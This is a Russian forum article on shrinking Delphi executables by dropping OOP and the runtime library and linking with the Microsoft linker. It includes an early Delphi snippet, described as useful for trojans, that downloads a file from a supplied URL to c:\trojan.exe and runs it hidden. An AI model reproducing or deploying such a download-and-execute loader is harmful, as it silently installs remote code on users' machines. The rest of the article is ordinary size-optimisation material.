Развленичия
Консультация
Полезные ссылки
Категории раздела
Новое на форуме
  • Статистика
    Онлайн
    На сайте 1
    Гостей: 1
    Пользователей: 0

    Юзеры онлайн:
    Юзеры за сегодня:

    Зарег. на сайте

    Всего: 17568
    Новых за месяц: 4
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0

    Из них

    Администраторов: 1
    Модератор форума: 0
    Друзей: 5
    Обычных юзеров: 17551

    Из них

    Парней:
    Девушек:


    Минимальная программа на Дельфи

    Дата: 30.03.2011
    Автор: Гром

    Многие системные программисты считают Delphi полным отстоем. Свое мнение они аргументируют тем, что компилятор генерирует слишком медленный и большой код, а средний размер пустой формы с кнопкой - 400 килобайт. А зачастую и вовсе никаких аргументов  не приводят. Когда на форумах встречаются сторонники С++ и Delphi, первые обычно говорят о супернавороченном синтаксисе и супер возможностях ООП, при этом уверяя, что в системном программировании все это необходимо, а вторые - о плюсах того же ООП на дельфи, которых нет в С++, и о том, что на этом языке писать проще. Из этого можно заключить, что обе стороны ни про Delphi, ни про C++ ничего толком не знают, и все это - пустая ламерская болтовня.

    Эту статью я посвящаю приемам системного программирования на Delphi. Я написал её для тех, кто любит этот язык, хочет добиться максимальной эффективности кода и не боится трудностей. Я покажу, как можно сделать на дельфи то, что многие считают невозможным. Те, кто занимается программированием на С++, запросто найдут целую кучу статей по оптимизации. Онако на Дельфи трудно найти что-то хорошее. По сути, все считают, что никакой оптимизации здесь не нужно. Тебя устраивает пустая форма с кнопкой размером 400 кб? Или ты думаешь, что нечего уже нельзя сделать? Что ж, я постараюсь развеять священные заблуждения.

    О генерируемом компилятором коде

    Часто говорят, что компилятор Delphi генерирует много лишнего и неэффективного кода. Чтож, давайте проверим! Для этого напишем функцию, которая качает из инета и запускает файл (незаменимая вещь для троянских программ). Писать будем на API. Вот что у меня получилось:

    procedure DownloadAndExecute(Source: PChar); stdcall;
    const
    DestFile = 'c:\trojan.exe';
    begin
    UrlDownloadToFile(nil, Source, DestFile, 0, nil);
    WinExec(DestFile, SW_HIDE);
    end;

    Ну и где же тут лишний код, о котором все говорят? То же самое можно написать вручную на ассемблере. 

    Почему же программы, написанные на дельфи, такие большие? Откуда берется лишний код, если компилятор его не генерирует? Сейчас мы разберем этот вопрос подробнее.

    ООП - лучший вариант?

    ООП - распространённое направление программирования. Его цель - максимально упростить написание программ и уменьшить сроки их разработки. Большинство программистов, пишущих на С++ или Delphi, уже не могут без ООП. Их главная цель - быстрее сдал программу, быстрее получил деньги. Про оптимизацию кода здесь не идёт и речи!.

    А ведь если взглянуть на это глазами системного программиста, то сразу виден главный недостаток: ООП - качество генерируемого кода. Допустим, у нас есть класс, наследуемый от другого класса. При создании объекта этого класса компилятор вынужден полностью включить в его состав  код родительского класса, потому что невозможно определить, какие методы классов использоваться не будут. Если у нас целое дерево наследования классов, как обычно и бывает, то весь этот код войдет в программу. И от этого никуда не денешься. Вызов методов класса производится через таблицу, что увеличивает время вызова. А когда метод наследуется от родителя в десятом поколении, то и вызов проходит через десять таблиц, прежде чем достигает обрабатывающего его кода. Получается, что вместе с большим количеством "мёртвого" кода мы получаем низкую эффективность рабочего. Это хорошо видно на примере библиотеки VCL в дельфи.

    А приложение, написанное на VB или на VC с применением MFC,  весит гораздо меньше. Это потому, что компания Microsoft приложила к этому свою лапу. MFC и runtime-библиотеки в VB весят ещё больльше, просто они скомпилены в DLL и входят в поставку Windows, а значит, их код не нужно носить с собой в программах. Такая возможность присутствует и в Delphi. Нужно просто в настройках проекта поставить галочку Build with runtime packages, тогда программа намного уменьшится, но потребует наличия используемых runtime-библиотек. Конечно же эти библиотеки в поставку Windows не входят, но это вина не Борланд, а Microsoft.

    Любители ООП, которые хотят разрабатывать приложения в визуальном режиме, могут пользоваться KOL. Это попытка сделать что-то типа VCL, но с учетом ее недостатков. Средний размер пустой формы с кнопкой - 35 Кб, но для серьезных приложений эта библиотека не подойдёт, так как содержит слишком много обибок и не решает нашу проблему только частично.

    Чтобы добиться высокой эффективности кода,  нужно забыть про ООП  раз и навсегда. Писать программы придется только на чистом API.

    Ещё одна причина

    Давайте создадим в Delphi пустой проект,  не содержащий никакиз действий:

    program test;
    begin
    end.

    После компиляции в Delphi 7 мы получаем размер 13,5 Кб. Откуда?! Ведь в программе ничего нет! Ответ на этот вопрос поможет дать IDA. Дизассемблируем файл программы и посмотрим, что в него ключено. Точка входа в программу будет выглядеть так:

    public start
    start:
    push ebp
    mov ebp, esp
    add esp, 0FFFFFFF0h
    mov eax, offset ModuleId
    call _InitExe
    ; здесь мог бы быть наш код
    call _HandleFinally
    CODE ends

    Весь не нужный нам код находится в функциях _InitExe и _HandleFinally. Это потому, что к каждой Delphi программе неявно подключается код, входящий в состав RTL (Run Time Library).  Нужно это для поддержки таких возможностей языка, как ООП, работа со строками (string) и специальные для паскаля функции (AssignFile, ReadLn, WriteLn, etc.). InitExe выполняет инициализацию всего этого кода, а HandleFinally обеспечивает освобождение ресурсов.

    И это сделано для упрощения жизни программистам, и применение RTL иногда необходимо, так как может повысить эффективность кода. Например, в состав RTL входит менеджер кучи, который позволяет быстро выделять и освобождать маленькие блоки памяти. Его эффективность в три раза превосходит системный. В плане производительности кода работа со строками реализована в RTL тоже довольно хорошо, правда все равно, в увеличении размера файла, RTL - виновник номер два после ООП.

    Уменьшаем размер

    Если размер в 13,5 Кб тебя не устраивает, то уберём Delphi RTL. Весь это код находится в двух файлах: System.pas и SysInit.pas. Компилятор подключает их к программе в любом случае, поэтому нужно удалить из этих модулей весь код, без которого мы сможешь обойтись, и перекомпилировать модули, а полученные DCU-файлы положить в папку с программой.

    Файл System.pas содержит основной код RTL , но все это мы уберём. Вот что нужно оставить:

    unit System;
    interface
    procedure _HandleFinally;
    type
    TGUID = record
    D1: LongWord;
    D2: Word;
    D3: Word;
    D4: array [0..7] of Byte;
    end;
    PInitContext = ^TInitContext;
    TInitContext = record
    OuterContext: PInitContext;
    ExcFrame: Pointer;
    InitTable: pointer;
    InitCount: Integer;
    Module: pointer;
    DLLSaveEBP: Pointer;
    DLLSaveEBX: Pointer;
    DLLSaveESI: Pointer;
    DLLSaveEDI: Pointer;
    ExitProcessTLS: procedure;
    DLLInitState: Byte;
    end;
    implementation
    procedure _HandleFinally;
    asm
    end;
    end.

    Описания структуры TGUID компилятор требует в любом случае и без нее компилировать модуль ну будет. TInitContext нужен для сборки DLL. HandleFinally - процедура, которая освобождает ресурсы RTL, компилятору она тоже необходима, но может быть пустой.

    Теперь отредактируем файл SysInit.pas, содержащий код инициализации и завершения работы RTL и управляет поддержкой пакетов:

    unit SysInit;
    interface
    procedure _InitExe;
    procedure _halt0;
    procedure _InitLib(Context: PInitContext);

    var
    ModuleIsLib: Boolean;
    TlsIndex: Integer = -1;
    TlsLast: Byte;

    const
    PtrToNil: Pointer = nil;

    implementation

    procedure _InitLib(Context: PInitContext);
    asm
    end;

    procedure _InitExe;
    asm
    end;

    procedure _halt0;
    asm
    end;

    end.

    InitExe - процедура инициализации RTL для EXE-файлов, InitLib - для DLL, halt0 - завершение работы приложения. Все остальные ненужные структуры и переменные, которые пришлось оставить, необходимы компилятору. Они не будут включаться в компилируемый файл и не будут влиять на его размер.

    Теперь положим эти два файла в папку с проектом и скомпилируем через командную строку:

    dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$D- -O

    Убрав RTL, мы получили файл размером в 3,5 Кб. Борландовский компилятор создает в exe файле шесть секций, они выравниваются по 512 байт, к ним прибавляется PE-заголовок, что и дает эти 3,5 Кб.

    Но при этом мы получаем дополнительные трудности, так как теперь не можем пользоваться заголовочными файлами на WinAPI, поставляемыми с Delphi. Вместо них придется писать свои. Это не сложно, поскольку описания используемых API можно взять из борландовских и перепеисывать в свои.

    Если в проекте есть несколько PAS-файлов, компилятор вставит в него пустые участки для выравнивания кода, и размеры опять увеличатся. Чтобы такого не было, нужно всю программу, включая определения API, помещать в один модуль. Это очень неудобно, поэтому лучше использовать директиву препроцессора $INCLUDE и разложить код на несколько inc-файлов. Но и здесь мы можем столкнуться с ещё одной проблемой - повторяющийся код (когда несколько inc-файлов подключают один и тот же inc) линкер в таких случаях компилировать не будет. Выйти из этого положения можно, если воспользуемся директивами условной компиляции, после чего любой inc-файл будет иметь вид:

    {$ifndef win32api}
    {$define win32api}
    // здесь идет наш код
    {$endif}
    Таким образом, можно писать без RTL достаточно сложные программы и забыть о неудобствах.

    Делаем размер ещё меньше!

    Размер 3,5 Кб понравится не всем. Можно уменьшить его еще в несколько раз. Для этого нужно собирать исполняемые файлы компилятором от Microsoft. Но здесь нас ждет одна проблема. Майкрософтовский линкер использует в качестве основного рабочего формата COFF, но может понимать и интеловский OMF. Но создатели Борланда  в версиях Delphi4 и выше сменили формат obj-файлов и теперь он несовместим с Intel OMF. То есть теперь существуют два вида OMF: Intel OMF и Borland OMF. Программы, которая конвертирует объектные файлы из формата Borland OMF в COFF или Intel OMF, я найти не смог. Вероятно их просто не существует. Поэтому придется использовать компилятор от Delphi 3, который генерирует стандартный объектный файл Intel OMF. Используемые API нам нужно описывать вручную. Давайте возьмем библиотеку импорта user32.lib из состава Visual C++ и откроем ее в любом HEX-редакторе. Имена функций "_MessageBoxA@16", где после @ стоит размер передаваемых параметров. Так что объявлять функции мы будем таким образом:

    function MessageBoxA(hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16';

    Напишем HelloWorld как можно меньшего размера. Для этого создаём такой проект:

    unit HelloWorld;

    interface

    Procedure Start;

    implementation

    function MessageBoxA(hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer; stdcall; external 'user32.dll' name '_MessageBoxA@16';

    Procedure Start;
    begin
    MessageBoxA(0, 'Hello world!', nil, 0);
    end;

    end.

    Модуль UNIT нужен для того, чтобы линкер генерировал в объектном файле символьные имена объявленных процедур.У наст - это процедура Start - точка входа в программу. Теперь линкуем проект следующей строкой:

    dcc32.exe -JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-,W+,X+,Y- HelloWorld.pas

    Файл HelloWorld.obj открываем в HEX-редакторе и смотрим, во что превратилась наша точка входа. У меня получилось Start$qqrv. Это имя нужно указать как точку входа при сборке компилировании файла. Теперь выполним сборку:

    link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$qqrv HelloWorld.obj user32.lib /out:Hello.exe

    В результате мы получим HelloWorld размером в 832 байта! Я думаю этот рамер подойдёт любому. Дизассемблируем этот файл в IDA и поищем лишний код:

    ; Attributes: bp-based frame
    ; char Text[]
    Text db 'Hello world!',0
    public start
    start proc near
    push 0 ; uType
    push 0 ; lpCaption
    push offset Text ; lpText
    push 0 ; hWnd
    call MessageBoxA
    retn
    start endp

    Ни байта лишнего кода! 


    Автор: Андрей Гром

    Перепечатка разрешается только с указанием ссылки на источник и обязательным извещением автора




    Похожие статьи:

    Просмотров: 2045
    Комментариев: 1
    0  
    Автор: Neo | 17.07.2013, 12:29
    Зачет.
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
     
    Ваш логин: Ваш пароль: